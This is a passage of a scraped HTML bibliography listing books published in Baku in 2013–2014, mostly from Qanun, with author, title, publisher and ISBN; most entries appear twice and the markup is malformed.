&nbsp;&nbsp;9789952268867</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qorki, M. Uşaqlıq. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267747</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qorki, M. Uşaqlıq. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267747</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qrey, C .&nbsp; Kişilər marsdan,qadınlar veneradandır .&nbsp; Bakı :&nbsp;&nbsp; Kitab Klubu , 2014 . ISBN&nbsp; :&nbsp; 9789952820249</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qrin, R. Hakimiyyətin 48 qanunu. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266634</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qrin, R. Hakimiyyətin 48 qanunu. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266634</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quliyev, A. Ağrı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 97899522676863</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quliyev, A. Ağrı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 97899522676863</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quliyev, Ə. M. Azərbaycanın bal verən bitkiləri. Bakı: AFPoliqrAF, 2014. ISBN: 9789952824810</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quliyev, Ə. M. Azərbaycanın bal verən bitkiləri. Bakı: AFPoliqrAF, 2014. ISBN: 9789952824810</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quliyev, İ. Ə. Ümumi torpaqşünaslıq və torpaq coğrafiyası. Bakı: 2014. ISBN: 9789952824834</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quliyev, İ. Ə. Ümumi torpaqşünaslıq və torpaq coğrafiyası. Bakı: 2014. ISBN: 9789952824834</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quliyev, Q. XX əsrin görkəmli ədəbiyyatşünas alimləri. Bakı: Azərbaycan Universiteti, 2014. ISBN: 9789952496017</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quliyev, Q. XX əsrin görkəmli ədəbiyyatşünas alimləri. Bakı: Azərbaycan Universiteti, 2014. ISBN: 9789952496017</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qurbanov, A. Sivilizasiyanın ekoloji perspektivləri tarixi prosesdə ekoloji amil. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495317</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qurbanov, A. Sivilizasiyanın ekoloji perspektivləri tarixi prosesdə ekoloji amil. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495317</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">L`incarnation. Baku: Foundation Heydr Aliyev, 2014. ISBN: 9789952483857</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">L`incarnation. Baku: Foundation Heydr Aliyev, 2014. ISBN: 9789952483857</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ləzgicə - Azərbaycanca lüğət. Bakı: Araz, 2014. ISBN: 9789952825855</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ləzgicə - Azərbaycanca lüğət. Bakı: Araz, 2014. ISBN: 9789952825855</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Lindqren, A, Seçilmiş hekayələr. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267389</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Lindqren, A, Seçilmiş hekayələr. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267389</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Lindqren, A. Balaca və Karlson. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241877</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Lindqren, A. Balaca və Karlson. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241877</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">London, C. Dəmir daban. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267006</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">London, C. Dəmir daban. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267006</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">London, C. Seçilmiş hekayələri. Bakı: Altun kitab nəşriyyatı, 2014. ISBN: 978 9952241754</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">London, C. Seçilmiş hekayələri. Bakı: Altun kitab nəşriyyatı, 2014. ISBN: 978 9952241754</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Maalof,AQ&nbsp; . Leon Afrikalı . Bakı :&nbsp; Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952268805</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mahmud, İ. Ttualet kağızı: heç nə haqqında üç esse. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267075</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mahmud, İ. Ttualet kağızı: heç nə haqqında üç esse. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267075</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;Makiavelli,N. Hökmdar . Bakı : Qanun , 2014 . ISBN : 9789952269185</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Maqsudoğlu, H. Business English. Bakı: Azərbaycan Universiteti, 2014. ISBN: 9789952496024</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Maqsudoğlu, H. Business English. Bakı: Azərbaycan Universiteti, 2014. ISBN: 9789952496024</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Medvedev, V . Barankin,Adam ol ! Bakı : Qanun ,&nbsp;&nbsp; 2014 . ISBN&nbsp; :&nbsp;&nbsp; 978-9952268546</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mehdi, N. 110 nəsnə: hərəsindən bir az. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267501</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mehdi, N. 110 nəsnə: hərəsindən bir az. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267501</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mehdiyev, Ə. “Əsrin müqaviləsi”: Azərbaycan neft strategiyasının təməl daşı. Bakı: Turxan NPB, 2014. ISBN: 9789952821222</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mehdiyev, Ə. “Əsrin müqaviləsi”: Azərbaycan neft strategiyasının təməl daşı. Bakı: Turxan NPB, 2014. ISBN: 9789952821222</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Menschüerdung. Baku: Heydär Äliyev Stiftung, 2014. ISBN: 9789952483871</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Menschüerdung. Baku: Heydär Äliyev Stiftung, 2014. ISBN: 9789952483871</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mədəniyyətimizin&nbsp; qəndilləri&nbsp; . Bakı : Qanun&nbsp; , 2013 . ISBN&nbsp; :&nbsp;&nbsp; 9789952822182</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;Məmmədov ,&nbsp; A .&nbsp; Aşma . Bakı : Qanun , 2014 .&nbsp; ISBN : 9789952268270</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Məmmədov, A. Bağırov və Beriya Məxfi protokollar. Bakı: Qələm, 2014. ISBN: 9789952465211</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Məmmədov, A. Bağırov və Beriya Məxfi protokollar. Bakı: Qələm, 2014. ISBN: 9789952465211</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Məmmədov, T. S. Bitki ekologiyası. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495140</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Məmmədov, T. S. Bitki ekologiyası. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495140</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Miller , H . Xərçəng tropiki .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952268577</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Monten, M. Ləyaqətlə yaşamaq qabiliyyəti haqqında. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266993</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Monten, M. Ləyaqətlə yaşamaq qabiliyyəti haqqında. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266993</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Morua, A. Yad qadına məktublar. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267099</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Morua, A. Yad qadına məktublar. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267099</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Murad, X. Analı günlərin davamı... Bakı: AFPoliqrAF, 2014. ISBN: 9789952824872</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Murad, X. Analı günlərin davamı... Bakı: AFPoliqrAF, 2014. ISBN: 9789952824872</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Muradov,&nbsp; S . 40 hədisdə ticarət&nbsp; . Bakı : İpəkyolu&nbsp; ,&nbsp; 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952822113</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Musayev, A. İnnovasiya iqtisadiyyatı və vergi stimullaşdırılması. Bakı: Azərbaycan Universiteti, 2014. ISBN: 9789952496000</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Musayev, A. İnnovasiya iqtisadiyyatı və vergi stimullaşdırılması. Bakı: Azərbaycan Universiteti, 2014. ISBN: 9789952496000</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mustafa Gül, M. Elyas Gibb və Azərbaycan. Bakı: Qafqaz Universiteti nəşri, 2014. ISBN: 9789952468250</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mustafa Gül, M. Elyas Gibb və Azərbaycan. Bakı: Qafqaz Universiteti nəşri, 2014. ISBN: 9789952468250</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mücəssəmə. Bakı: Heydər Əliyev Fondu, 2014. ISBN: 9789952483888</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mücəssəmə. Bakı: Heydər Əliyev Fondu, 2014. ISBN: 9789952483888</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nadir Mir-İbrahim oğlu Seyidov. Bakı: Elm nəşriyyatı, 2014.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nadir Mir-İbrahim oğlu Seyidov. Bakı: Elm nəşriyyatı, 2014.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nejad, S. Ə. Yasin surəsinin təfsiri. Bakı: Zərdabi LTD MMC, 2014. ISBN: 9789952460377</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nejad, S. Ə. Yasin surəsinin təfsiri. Bakı: Zərdabi LTD MMC, 2014. ISBN: 9789952460377</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəbioğlu ,&nbsp; R .&nbsp; Dərəzarat&nbsp; .&nbsp; Bakı : Afpoliqraf&nbsp; , 2013 . ISBN&nbsp; :&nbsp; 9789952823257</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəcəf, Ə. N. İnanc Yaddaşı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268287</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəcəf, Ə. N. İnanc Yaddaşı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268287</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəsil , Ö .&nbsp; Peyğəmbər dostları&nbsp; . Bakı : İpəkyolu&nbsp; , 2013 . ISBN&nbsp; :&nbsp;&nbsp; 9789952822137</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəzirli, K. Miras: hekayələr,&nbsp; pyeslər. Bakı: Mütərcim, 2014. ISBN: 9789952281941</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəzirli, K. Miras: hekayələr,&nbsp; pyeslər. Bakı: Mütərcim, 2014. ISBN: 9789952281941</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəzirli, Ş. Əfsanəvi Mixaylo. Bakı: Qələm, 2014. ISBN: 9789952465983</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəzirli, Ş. Əfsanəvi Mixaylo. Bakı: Qələm, 2014. ISBN: 9789952465983</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Niyazov , Ə . Danışıq ədəbi .&nbsp; Bakı :&nbsp; İpəkyol , 2014 . ISBN&nbsp; :&nbsp; 9789552822120</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Oruell , C . Paris və Londonda qara qəpiksiz .&nbsp; Bakı : Qanun , 2014 .&nbsp; ISBN&nbsp; :&nbsp; 9789952268461</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Osmanov, C. Mücahidin yolu. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267167</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Osmanov, C. Mücahidin yolu. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267167</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Oşo. Qadınların kitabı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266535</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Oşo. Qadınların kitabı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266535</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Palanik, Ç. Döyüşçü klubu. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267334</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Palanik, Ç. Döyüşçü klubu. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267334</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Palanik, Ç. Layla. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266672</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Palanik, Ç. Layla. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266672</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Pamuk, O. Məsumiyyət muzeyi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266580</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Pamuk, O. Məsumiyyət muzeyi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266580</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Pashayeva, M. The history and ethnography of Shahdagh peoples. Baku: Khazar University, 2014. ISBN: 9789952824858</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Pashayeva, M. The history and ethnography of Shahdagh peoples. Baku: Khazar University, 2014. ISBN: 9789952824858</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Pavlenko, N. Birinci Pyotr. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266719</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Pavlenko, N. Birinci Pyotr. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266719</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Perker , Ə . E .&nbsp; Sufle . Bakı : Qanun , 2014 . ISBN:&nbsp; 9789952268133</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Pərvin. Söhbətlər. Bakı: Mütərcim, 2014. ISBN: 9789952281729</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Pərvin. Söhbətlər. Bakı: Mütərcim, 2014. ISBN: 9789952281729</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Prokurorluğa qəbulla bağlı testlər . Bakı :&nbsp; Qanun , 2014. ISBN : 9789952268973</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ramiz Daniz .&nbsp; Christopher Columbus,Nasiraddin Tusi and real discovery of America&nbsp; . Bakı : Nasir, 2014. ISBN&nbsp; :&nbsp;&nbsp;&nbsp; 9789952823059</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ramiz Daniz .&nbsp; The scientist passed ahead of centuries - Nasiraddin Tusi&nbsp; .&nbsp; Bakı : Nasir, 2014. ISBN&nbsp; :&nbsp; 9789952823035</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ramiz Dəniz&nbsp; . Cənnətə gedənlər cəhənnəmə düşürlər&nbsp; .&nbsp; Bakı : Nasir, 2014. ISBN&nbsp; :&nbsp; 9789952826418</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ramiz Dəniz .&nbsp; Xristofor Kolumb,Nəzirəddin Tusi və Amerika qitəsinin həqiqi kəşfi . Bakı : Nasir, 2014. ISBN&nbsp; :&nbsp;&nbsp;&nbsp; 9789952823073</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ramiz Dəniz . Braziliyanın müəmmalı kəşfi&nbsp; . Bakı : Nasir, 2014. ISBN&nbsp; :&nbsp;&nbsp; 9789952823066</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ramiz Dəniz . Enigmatic discovery of Brazil . Bakı : Nasir, 2014. ISBN&nbsp; :&nbsp;&nbsp; 9789952823004</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ramiz Dəniz . Əsrləri qabaqlamış alim Nəsirəddin Tusi .&nbsp; Bakı : Nasir, 2014. ISBN&nbsp; : 9789952823080</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ramiz Dəniz . Həqiqət&nbsp; .&nbsp; Bakı : Nasir, 2014. ISBN&nbsp; :&nbsp; 9789952823097</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ramiz Dəniz . Müqəddəs missiya .&nbsp; Bakı : Nasir, 2014. ISBN&nbsp; :&nbsp; 9789952826401</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ramiz Dəniz . Yeni dünya sahillərinə yollanan konkistadorlar .&nbsp; Bakı : Nasir, 2014. ISBN&nbsp; : 9789952826425</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rəsualzadə, M 